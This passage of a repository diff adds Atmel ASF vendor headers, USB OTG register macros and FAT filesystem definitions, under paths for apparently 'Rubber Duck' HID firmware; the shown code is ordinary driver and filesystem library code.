Tst_bits(AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr1, 1 << (OTG_ID_PIN & 0x1F)) == Tst_bits(OTG_ID_PIN, 0x02))
|
||||
|
||||
//! Enable external OTG_ID pin (listened to by USB)
|
||||
#define otg_enable_id_pin() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIDE_MASK))
|
||||
//! Disable external OTG_ID pin (ignored by USB)
|
||||
#define otg_disable_id_pin() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIDE_MASK))
|
||||
//! Test if external OTG_ID pin enabled (listened to by USB)
|
||||
#define Is_otg_id_pin_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIDE_MASK))
|
||||
//! Disable external OTG_ID pin and force device mode
|
||||
#define otg_force_device_mode() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIMOD_MASK), otg_disable_id_pin())
|
||||
//! Test if device mode is forced
|
||||
#define Is_otg_device_mode_forced() (!Is_otg_id_pin_enabled() && Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIMOD_MASK))
|
||||
//! Disable external OTG_ID pin and force host mode
|
||||
#define otg_force_host_mode() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIMOD_MASK), otg_disable_id_pin())
|
||||
//! Test if host mode is forced
|
||||
#define Is_otg_host_mode_forced() (!Is_otg_id_pin_enabled() && !Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UIMOD_MASK))
|
||||
|
||||
//! @name USBB OTG ID pin interrupt management
|
||||
//! These macros manage the ID pin interrupt
|
||||
//! @{
|
||||
#define otg_enable_id_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_IDTE_MASK))
|
||||
#define otg_disable_id_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_IDTE_MASK))
|
||||
#define Is_otg_id_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_IDTE_MASK))
|
||||
#define Is_otg_id_device() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_ID_MASK))
|
||||
#define otg_ack_id_transition() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_IDTIC_MASK)
|
||||
#define otg_raise_id_transition() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_IDTIS_MASK)
|
||||
#define Is_otg_id_transition() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_IDTI_MASK))
|
||||
//! @}
|
||||
|
||||
//! @}
|
||||
|
||||
//! @name USBB OTG main management
|
||||
//! These macros allows to enable/disable pad and USBB hardware
|
||||
//! @{
|
||||
//! Enable USB macro
|
||||
#define otg_enable() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_USBE_MASK))
|
||||
//! Disable USB macro
|
||||
#define otg_disable() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_USBE_MASK))
|
||||
#define Is_otg_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_USBE_MASK))
|
||||
|
||||
//! Enable OTG pad
|
||||
#define otg_enable_pad() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_OTGPADE_MASK))
|
||||
//! Disable OTG pad
|
||||
#define otg_disable_pad() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_OTGPADE_MASK))
|
||||
#define Is_otg_pad_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_OTGPADE_MASK))
|
||||
|
||||
//! Check Clock Usable
|
||||
//! For parts with HS feature, this one corresponding at UTMI clock
|
||||
#define Is_clock_usable() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_CLKUSABLE_MASK))
|
||||
|
||||
//! Stop (freeze) internal USB clock
|
||||
#define otg_freeze_clock() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_FRZCLK_MASK))
|
||||
#define otg_unfreeze_clock() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_FRZCLK_MASK))
|
||||
#define Is_otg_clock_frozen() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_FRZCLK_MASK))
|
||||
|
||||
//! Configure time-out of specified OTG timer
|
||||
#define otg_configure_timeout(timer, timeout) (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UNLOCK_MASK),\
|
||||
Wr_bitfield(AVR32_USBB.usbcon, AVR32_USBB_USBCON_TIMPAGE_MASK, timer),\
|
||||
Wr_bitfield(AVR32_USBB.usbcon, AVR32_USBB_USBCON_TIMVALUE_MASK, timeout),\
|
||||
Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UNLOCK_MASK))
|
||||
//! Get configured time-out of specified OTG timer
|
||||
#define otg_get_timeout(timer) (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UNLOCK_MASK),\
|
||||
Wr_bitfield(AVR32_USBB.usbcon, AVR32_USBB_USBCON_TIMPAGE_MASK, timer),\
|
||||
Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_UNLOCK_MASK),\
|
||||
Rd_bitfield(AVR32_USBB.usbcon, AVR32_USBB_USBCON_TIMVALUE_MASK))
|
||||
|
||||
|
||||
//! Get the dual-role device state of the internal USB finite state machine of the USBB controller
|
||||
#define otg_get_fsm_drd_state() (Rd_bitfield(AVR32_USBB.usbfsm, AVR32_USBB_USBFSM_DRDSTATE_MASK))
|
||||
//! @}
|
||||
|
||||
//! @name USBB OTG hardware protocol
|
||||
//! These macros manages the hardware OTG protocol
|
||||
//! @{
|
||||
//! initiates a Host Negociation Protocol
|
||||
#define otg_device_initiate_hnp() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPREQ_MASK))
|
||||
//! accepts a Host Negociation Protocol
|
||||
#define otg_host_accept_hnp() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPREQ_MASK))
|
||||
//! rejects a Host Negociation Protocol
|
||||
#define otg_host_reject_hnp() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPREQ_MASK))
|
||||
//! initiates a Session Request Protocol
|
||||
#define otg_device_initiate_srp() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPREQ_MASK))
|
||||
//! selects VBus as SRP method
|
||||
#define otg_select_vbus_srp_method() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPSEL_MASK))
|
||||
#define Is_otg_vbus_srp_method_selected() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPSEL_MASK))
|
||||
//! selects data line as SRP method
|
||||
#define otg_select_data_srp_method() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPSEL_MASK))
|
||||
#define Is_otg_data_srp_method_selected() (!Is_otg_vbus_srp_method_selected())
|
||||
//! tests if a HNP occurs
|
||||
#define Is_otg_hnp() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPREQ_MASK))
|
||||
//! tests if a SRP from device occurs
|
||||
#define Is_otg_device_srp() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPREQ_MASK))
|
||||
|
||||
//! enables HNP error interrupt
|
||||
#define otg_enable_hnp_error_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPERRE_MASK))
|
||||
//! disables HNP error interrupt
|
||||
#define otg_disable_hnp_error_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPERRE_MASK))
|
||||
#define Is_otg_hnp_error_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_HNPERRE_MASK))
|
||||
//! acks HNP error interrupt
|
||||
#define otg_ack_hnp_error_interrupt() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_HNPERRIC_MASK)
|
||||
//! raises HNP error interrupt
|
||||
#define otg_raise_hnp_error_interrupt() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_HNPERRIS_MASK)
|
||||
//! tests if a HNP error occurs
|
||||
#define Is_otg_hnp_error_interrupt() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_HNPERRI_MASK))
|
||||
|
||||
//! enables role exchange interrupt
|
||||
#define otg_enable_role_exchange_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_ROLEEXE_MASK))
|
||||
//! disables role exchange interrupt
|
||||
#define otg_disable_role_exchange_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_ROLEEXE_MASK))
|
||||
#define Is_otg_role_exchange_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_ROLEEXE_MASK))
|
||||
//! acks role exchange interrupt
|
||||
#define otg_ack_role_exchange_interrupt() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_ROLEEXIC_MASK)
|
||||
//! raises role exchange interrupt
|
||||
#define otg_raise_role_exchange_interrupt() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_ROLEEXIS_MASK)
|
||||
//! tests if a role exchange occurs
|
||||
#define Is_otg_role_exchange_interrupt() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_ROLEEXI_MASK))
|
||||
|
||||
//! enables SRP interrupt
|
||||
#define otg_enable_srp_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPE_MASK))
|
||||
//! disables SRP interrupt
|
||||
#define otg_disable_srp_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPE_MASK))
|
||||
#define Is_otg_srp_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_SRPE_MASK))
|
||||
//! acks SRP interrupt
|
||||
#define otg_ack_srp_interrupt() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_SRPIC_MASK)
|
||||
//! raises SRP interrupt
|
||||
#define otg_raise_srp_interrupt() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_SRPIS_MASK)
|
||||
//! tests if a SRP occurs
|
||||
#define Is_otg_srp_interrupt() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_SRPI_MASK))
|
||||
//! @}
|
||||
|
||||
//! @}
|
||||
|
||||
#endif // _USBB_OTG_H_
|
2002
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat.c
Executable file
2002
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat.c
Executable file
File diff suppressed because it is too large
Load diff
541
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat.h
Executable file
541
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat.h
Executable file
|
@ -0,0 +1,541 @@
|
|||
/*This file has been prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief FAT services
|
||||
*
|
||||
* This file is the header for FAT services
|
||||
*
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
*****************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
#ifndef _FAT_H_
|
||||
#define _FAT_H_
|
||||
|
||||
#include "fs_com.h"
|
||||
|
||||
//! @verbatim
|
||||
//! - File system vocabulary :
|
||||
//! MBR : Master Boot Record (constains four PE)
|
||||
//! PE : Partition Entry (constains a location informations about PBR)
|
||||
//! PBR : Partition Boot Record
|
||||
//! BPB : BIOS Parameter Block (see Hardware White Paper FAT)
|
||||
//! PBR = BPB
|
||||
//! FAT : File Allocation Table
|
||||
//! @endverbatim
|
||||
|
||||
|
||||
#undef _GLOBEXT_
|
||||
#if (defined _fat_c_)
|
||||
# define _GLOBEXT_
|
||||
#else
|
||||
# define _GLOBEXT_ extern
|
||||
#endif
|
||||
|
||||
//_____ I N C L U D E S ____________________________________________________
|
||||
|
||||
|
||||
//_____ M A C R O S ________________________________________________________
|
||||
|
||||
|
||||
// To optimize the code
|
||||
#if (FS_FAT_12 == ENABLED)
|
||||
# define Is_fat12 (FS_TYPE_FAT_12 == fs_g_nav_fast.u8_type_fat)
|
||||
#else
|
||||
# define Is_fat12 (0)
|
||||
#endif
|
||||
#if (FS_FAT_16 == ENABLED)
|
||||
# define Is_fat16 (FS_TYPE_FAT_16 == fs_g_nav_fast.u8_type_fat)
|
||||
#else
|
||||
# define Is_fat16 (0)
|
||||
#endif
|
||||
#if (FS_FAT_32 == ENABLED)
|
||||
# define Is_fat32 (FS_TYPE_FAT_32 == fs_g_nav_fast.u8_type_fat)
|
||||
#else
|
||||
# define Is_fat32 (0)
|
||||
#endif
|
||||
|
||||
// Tor optimize the code
|
||||
#if ( (FS_ASCII == ENABLED) && (FS_UNICODE == ENABLED))
|
||||
# define Is_unicode (g_b_unicode)
|
||||
#elif (FS_ASCII == ENABLED)
|
||||
# define Is_unicode (0)
|
||||
#elif (FS_UNICODE == ENABLED)
|
||||
# define Is_unicode (1)
|
||||
#else
|
||||
# error You must define FS_ASCII or/and FS_UNICODE enable in conf_explorer.h
|
||||
#endif
|
||||
|
||||
|
||||
//_____ D E F I N I T I O N S ______________________________________________
|
||||
|
||||
|
||||
//**** Definitions corresponding at the FAT norm ****
|
||||
|
||||
//! Position (unit byte) in the MBR of a partition entry
|
||||
#define FS_MBR_OFFSET_PART_ENTRY( num ) ((uint16_t)((uint16_t)(0x1BE)+(0x10 * num))) // Partition entry num (0 to 4)
|
||||
|
||||
|
||||
//! \name Macro to access at fields in BPB sector (only used in fat_mount() function)
|
||||
//! The name prefixed by "BPB_" are defined in "Hardware White Paper FAT"
|
||||
//! @{
|
||||
#define LOW_16_BPB_BytsPerSec fs_g_sector[11]
|
||||
#define HIGH_16_BPB_BytsPerSec fs_g_sector[12]
|
||||
#define U8_BPB_SecPerClus fs_g_sector[13]
|
||||
#define LOW_16_BPB_RootEntCnt fs_g_sector[17]
|
||||
#define HIGH_16_BPB_RootEntCnt fs_g_sector[18]
|
||||
#define LOW_16_BPB_FATSz16 fs_g_sector[22]
|
||||
#define HIGH_16_BPB_FATSz16 fs_g_sector[23]
|
||||
#define LOW0_32_BPB_FATSz32 fs_g_sector[36]
|
||||
#define LOW1_32_BPB_FATSz32 fs_g_sector[37]
|
||||
#define LOW2_32_BPB_FATSz32 fs_g_sector[38]
|
||||
#define LOW3_32_BPB_FATSz32 fs_g_sector[39]
|
||||
#define LOW_16_BPB_TotSec16 fs_g_sector[19]
|
||||
#define HIGH_16_BPB_TotSec16 fs_g_sector[20]
|
||||
#define LOW0_32_BPB_TotSec32 fs_g_sector[32]
|
||||
#define LOW1_32_BPB_TotSec32 fs_g_sector[33]
|
||||
#define LOW2_32_BPB_TotSec32 fs_g_sector[34]
|
||||
#define LOW3_32_BPB_TotSec32 fs_g_sector[35]
|
||||
#define LOW_16_BPB_ResvSecCnt fs_g_sector[14]
|
||||
#define HIGH_16_BPB_ResvSecCnt fs_g_sector[15]
|
||||
#define U8_BPB_NumFATs fs_g_sector[16]
|
||||
#define LOW0_32_BPB_RootClus fs_g_sector[44]
|
||||
#define LOW1_32_BPB_RootClus fs_g_sector[45]
|
||||
#define LOW2_32_BPB_RootClus fs_g_sector[46]
|
||||
#define LOW3_32_BPB_RootClus fs_g_sector[47]
|
||||
#define LOW_16_BPB_FSInfo fs_g_sector[48]
|
||||
#define HIGH_16_BPB_FSInfo fs_g_sector[49]
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Constante used to sign a MBR or PBR sectors
|
||||
//! @{
|
||||
#define FS_BR_SIGNATURE_LOW 0x55
|
||||
#define FS_BR_SIGNATURE_HIGH 0xAA
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Constants used in MBR sector
|
||||
//! @{
|
||||
#define FS_PART_BOOTABLE 0x80
|
||||
#define FS_PART_NO_BOOTABLE 0x00
|
||||
/*
|
||||
Partition Fdisk Demarrage dans
|
||||
Type Rapports Taille Type de FAT version
|
||||
-----------------------------------------------------------------------------
|
||||
01 PRI DOS 0-15 Mo 12 bits MS-DOS 2.0
|
||||
04 PRI DOS 16-32 Mo 16 bits MS-DOS 3.0
|
||||
05 EXT DOS 0-2 Go n/a MS-DOS 3.3
|
||||
06 PRI DOS 32 Mo-2 Go 16 bits MS-DOS 4.0
|
||||
0E PRI DOS 32 Mo-2 Go 16 bits Windows 95
|
||||
0F EXT DOS 0-2 Go n/a Windows 95
|
||||
0B PRI DOS 512 Mo - 2 teraoctets 32 bits OSR2
|
||||
0C EXT DOS 512 Mo - 2 teraoctets 32 bits OSR2
|
||||
*/
|
||||
#define FS_PART_TYPE_FAT12 0x01
|
||||
#define FS_PART_TYPE_FAT16_INF32M 0x04
|
||||
#define FS_PART_TYPE_FAT16_SUP32M 0x06
|
||||
#define FS_PART_TYPE_FAT16_SUP32M_BIS 0x0E
|
||||
#define FS_PART_TYPE_FAT32 0x0B
|
||||
#define FS_PART_TYPE_FAT32_BIS 0x0C
|
||||
#define FS_PART_REMOVE_MEDIA 0xF0 // removal media
|
||||
#define FS_PART_NO_REMOVE_MEDIA 0xF8 // no removal media
|
||||
#define FS_PART_HARD_DISK 0x81 // hard disk
|
||||
#define FS_BOOT_SIGN 0x29 // Boot signature
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Maximum of FAT cluster
|
||||
//! @{
|
||||
#define FS_FAT12_MAX_CLUSTERS 4085 // Maximum of cluster for FAT 12
|
||||
#define FS_FAT16_MAX_CLUSTERS 65525 // Maximum of cluster for FAT 16
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Constants used in the first byte of file entry
|
||||
//! @{
|
||||
#define FS_ENTRY_END 0x00 // end of directory
|
||||
#define FS_ENTRY_DEL 0xE5 // deleted entry
|
||||
#define FS_ENTRY_LFN_LAST 0x40 // mask to detect the last long name entry
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Constantes used to manage the file entry
|
||||
//! @{
|
||||
#define FS_SIZE_FILE_ENTRY 32 // Size of the file entry
|
||||
#define FS_SHIFT_B_TO_FILE_ENTRY 5 // Shift a unit byte to unit entry file (32,<<5) to unit sector 512B (512,>>9)
|
||||
#define FS_SIZE_LFN_ENTRY 13 // Size of name stored in the file entry "long file name" (unit UNICODE = 2bytes)
|
||||
#define FS_SIZE_SFNAME 11 // Size of name stored in the file entry "short file name" (unit byte)
|
||||
#define FS_SIZE_SFNAME_WITHOUT_EXT 8 // Size of name (without extension) stored in the file entry "short file name" (unit byte)
|
||||
#define FS_SIZE_SFNAME_EXT_ONLY 3 // Size of extension name stored in the file entry "short file name" (unit byte)
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name LIMITATIONS OF FILE SYSTEM
|
||||
//! @{
|
||||
#define FS_NB_FAT 2 // This file system managed only 2 FAT
|
||||
//! @}
|
||||
|
||||
|
||||
//**** Definitions of function configurations
|
||||
|
||||
//! \name The unit sector of 512B is many used in file System stack
|
||||
//! @{
|
||||
#define FS_512B 512
|
||||
#define FS_512B_MASK (512-1)
|
||||
#define FS_512B_SHIFT_BIT 9 // Shift a unit byte to unit sector (512,>>9)
|
||||
#define FS_SIZE_OF_SECTOR FS_512B // For compliance with old FileSystem module
|
||||
#define FS_MASK_SIZE_OF_SECTOR FS_512B_MASK // For compliance with old FileSystem module
|
||||
#define FS_SHIFT_B_TO_SECTOR FS_512B_SHIFT_BIT // For compliance with old FileSystem module
|
||||
#define FS_CACHE_SIZE 512 // Cache size used by module (unit 512B)
|
||||
//! @}
|
||||
|
||||
//! Signal that sector cache is not valid
|
||||
#define FS_BUF_SECTOR_EMPTY 0xFF
|
||||
|
||||
|
||||
//! \name Status of the fat_checkcluster() function
|
||||
//! @{
|
||||
#define FS_CLUS_OK 0 // Value correct
|
||||
#define FS_CLUS_BAD 1 // Value bad
|
||||
#define FS_CLUS_END 2 // It is the end of cluster list
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Options of the fat_cluster_list() function
|
||||
//! @{
|
||||
#define FS_CLUST_ACT_SEG 0x01 // Get the sector address and size of the cluster list
|
||||
#define FS_CLUST_ACT_ONE 0x02 // Get the sector address of the cluster list
|
||||
#define FS_CLUST_ACT_CLR 0x03 // Clear the cluster list
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Options of the fat_cluster_val() function
|
||||
#define FS_CLUST_VAL_READ false // Mode read
|
||||
#define FS_CLUST_VAL_WRITE true // Mode write
|
||||
#define FS_CLUST_VAL_EOL 0x0FFFFFFF // Value to signal the end of cluster list
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Structures used to store the information about File System mount
|
||||
//! @{
|
||||
|
||||
//! Union to define a root directory
|
||||
typedef union
|
||||
{
|
||||
uint32_t u32_cluster; //!< For FAT32, the root directory is a cluster list
|
||||
struct
|
||||
{
|
||||
uint16_t u16_pos; //!< Offset between the beginning of FAT and the beginning of root dir (unit 512B)
|
||||
uint16_t u16_size; //!< Size of root (unit 512B)
|
||||
} seg; //!< For FAT 12 & 16, it is a segment (no cluster list)
|
||||
} Fs_rootdir;
|
||||
|
||||
//! Struture to save the variables frequently used by file system mounted
|
||||
typedef struct
|
||||
{
|
||||
uint8_t u8_lun; //!< Number of logical driver
|
||||
#if (FS_MULTI_PARTITION == ENABLED)
|
||||
uint8_t u8_partition; //!< Number of partition - 1 (0 or 1)
|
||||
#endif
|
||||
uint8_t u8_BPB_SecPerClus; //!< Cluster size (unit 512B)
|
||||
// The pointers start at beginning of the memory, and unit = 512B
|
||||
uint32_t u32_fat_size; //!< Size of one FAT (unit 512B)
|
||||
uint16_t u16_offset_FSInfo; //!< Offset between the beginning of FAT and the FSInfo sector (only used by FAT32) (unit 512B)
|
||||
uint32_t u32_CountofCluster; //!< Number of cluster (include the two reserved cluster)
|
||||
uint32_t u32_ptr_fat; //!< FAT address (unit 512B)
|
||||
uint32_t u32_offset_data; //!< Offset between the beginning of FAT and the first cluster (unit 512B)
|
||||
Fs_rootdir rootdir; //!< Root directory informations
|
||||
uint16_t u16_entry_pos_sel_dir; //!< Position of selected directory in her parent directory (only use to speed up the get directory name routine)
|
||||
uint32_t u32_cluster_sel_dir; //!< First cluster number of selected directory (0 for the root directory)
|
||||
uint16_t u16_pos_sel_file; //!< File position in the file list (only used by navigation functions)
|
||||
uint16_t u16_pos_filterlist; //!< File position in the file list filtered (only for nav_filterlist functions)
|
||||
FS_STRING sz_filterext; //!< pointer on extension filter to use in nav_filterlist functions
|
||||
uint8_t b_mode_nav; //!< Navigation step ( FS_FILE or FS_DIR )
|
||||
uint8_t b_mode_nav_single; //!< Navigation File List provide only files or directories
|
||||
uint8_t u8_flat_dir_level; //!< Directory level of the current dir in flat list
|
||||
uint16_t u16_flat_pos_offset; //!< Offset in flat list of the directory
|
||||
} Fs_management;
|
||||
|
||||
//! Struture to save the variables very frequently used by file system mounted
|
||||
typedef struct
|
||||
{
|
||||
uint8_t u8_type_fat; //!< FAT type (default = no mounted = FS_TYPE_FAT_UNM)
|
||||
uint16_t u16_entry_pos_sel_file; //!< Entry file position in directory (unit = FS_SIZE_FILE_ENTRY) (see value FS_NO_SEL & FS_END_FIND)
|
||||
} Fs_management_fast;
|
||||
|
||||
//! Struture to save the frequently variables of file system mounted
|
||||
typedef struct
|
||||
{
|
||||
uint8_t u8_open_mode; //!< open mode of selected file
|
||||
uint8_t u8_txt_format; //!< format of text used in selected file (only for reader_txt module)
|
||||
uint8_t u8_attr; //!< Attribut of the selected file
|
||||
uint32_t u32_cluster; //!< First cluster of the selected file
|
||||
uint32_t u32_size; //!< Size of selected file (unit Bytes)
|
||||
uint32_t u32_pos_in_file; //!< Current position in file (unit Bytes)
|
||||
} Fs_management_entry;
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Main sructures
|
||||
//! @{
|
||||
|
||||
//! Struture to define a segment
|
||||
typedef struct {
|
||||
uint32_t u32_addr; //!< segment address (unit 512B), or cluster number
|
||||
uint32_t u32_size_or_pos; //!< segment size (unit 512B), or position in cluster list (unit 512B)
|
||||
} Fs_segment;
|
||||
|
||||
//! Struture to store cluster information
|
||||
typedef struct st_fs_cluster
|
||||
{
|
||||
uint32_t u32_pos; //!< cluster position
|
||||
uint32_t u32_val; //!< cluster value
|
||||
} Fs_cluster;
|
||||
|
||||
//! @}
|
||||
|
||||
|
||||
//! Struture to store the cluster list cache
|
||||
typedef struct {
|
||||
Bool b_cache_file; //!< Signal a cluster cache from file cluster list or directory cluster list
|
||||
uint8_t u8_level_use; //!< Cache level, 0 for the last used and up to FS_NB_CACHE_CLUSLIST-1 for the old access (ignore if FS_NB_CACHE_CLUSLIST=1)
|
||||
uint8_t u8_lun; //!< LUN of cluster list
|
||||
uint32_t u32_cluster; //!< First cluster of cluster list
|
||||
uint32_t u32_start; //!< Start position in the cluster list (unit 512B)
|
||||
uint32_t u32_addr; //!< Address corresponding at the position "start" in cluster list
|
||||
uint32_t u32_size; //!< Cluster list size
|
||||
} Fs_clusterlist_cache;
|
||||
|
||||
|
||||
//! Struture to store the information about sector cache (=last sector read or write on disk)
|
||||
typedef struct {
|
||||
uint8_t u8_lun; //!< LUN of sector
|
||||
uint32_t u32_addr; //!< Sector address (unit 512B)
|
||||
uint8_t u8_dirty; //!< Cache status
|
||||
//!< if the sector is a sector from a cluster list THEN
|
||||
uint32_t u32_clusterlist_start; //!< first cluster of cluster list
|
||||
uint32_t u32_clusterlist_pos; //!< position in cluster list (unit 512B)
|
||||
} Fs_sector_cache;
|
||||
|
||||
|
||||
//**** Definition of value used by the STRUCTURES of communication
|
||||
|
||||
//! \name FAT type ID, used in "Fs_management_fast.u8_type_fat"
|
||||
//! @{
|
||||
#define FS_TYPE_FAT_UNM 0 //!< Partition not mounted
|
||||
#define FS_TYPE_FAT_12 1
|
||||
#define FS_TYPE_FAT_16 2
|
||||
#define FS_TYPE_FAT_32 3
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Value used in "Fs_management_fast.u16_entry_pos_sel_file"
|
||||
//! @{
|
||||
#define FS_NO_SEL 0xFFFF //!< Signal that a file entry isn't selected
|
||||
#define FS_END_FIND 0xFFFE //!< Signal that a file entry is the last file entry accessibled by system
|
||||
//! @}
|
||||
|
||||
|
||||
//! \name Macro to check the file open mode
|
||||
//! @{
|
||||
#define Fat_file_is_open() (fs_g_nav_entry.u8_open_mode !=0 )
|
||||
#define Fat_file_isnot_open() (fs_g_nav_entry.u8_open_mode ==0 )
|
||||
#define Fat_file_close() (fs_g_nav_entry.u8_open_mode =0 )
|
||||
//! @}
|
||||
|
||||
|
||||
//_____ D E C L A R A T I O N S ____________________________________________
|
||||
|
||||
//**** Global file system variables
|
||||
|
||||
//! Variables to select string format (initialised in nav_reset())
|
||||
_GLOBEXT_ Bool g_b_unicode;
|
||||
//! Variables to select LENGTH string mode (initialised in nav_reset())
|
||||
_GLOBEXT_ Bool g_b_string_length;
|
||||
|
||||
//! Variables to enable/disable the disk check before each action on disk
|
||||
_GLOBEXT_ Bool g_b_no_check_disk;
|
||||
|
||||
//! \name Variables initialised in drive_mount()
|
||||
//! @{
|
||||
_GLOBEXT_ _MEM_TYPE_SLOW_ Fs_management fs_g_nav;
|
||||
_GLOBEXT_ _MEM_TYPE_FAST_ Fs_management_fast fs_g_nav_fast;
|
||||
_GLOBEXT_ _MEM_TYPE_SLOW_ Fs_management_entry fs_g_nav_entry;
|
||||
//! @}
|
||||
|
||||
//! Variable frequently used by many function (optimization, no parameter in function)
|
||||
_GLOBEXT_ _MEM_TYPE_FAST_ Fs_segment fs_g_seg;
|
||||
|
||||
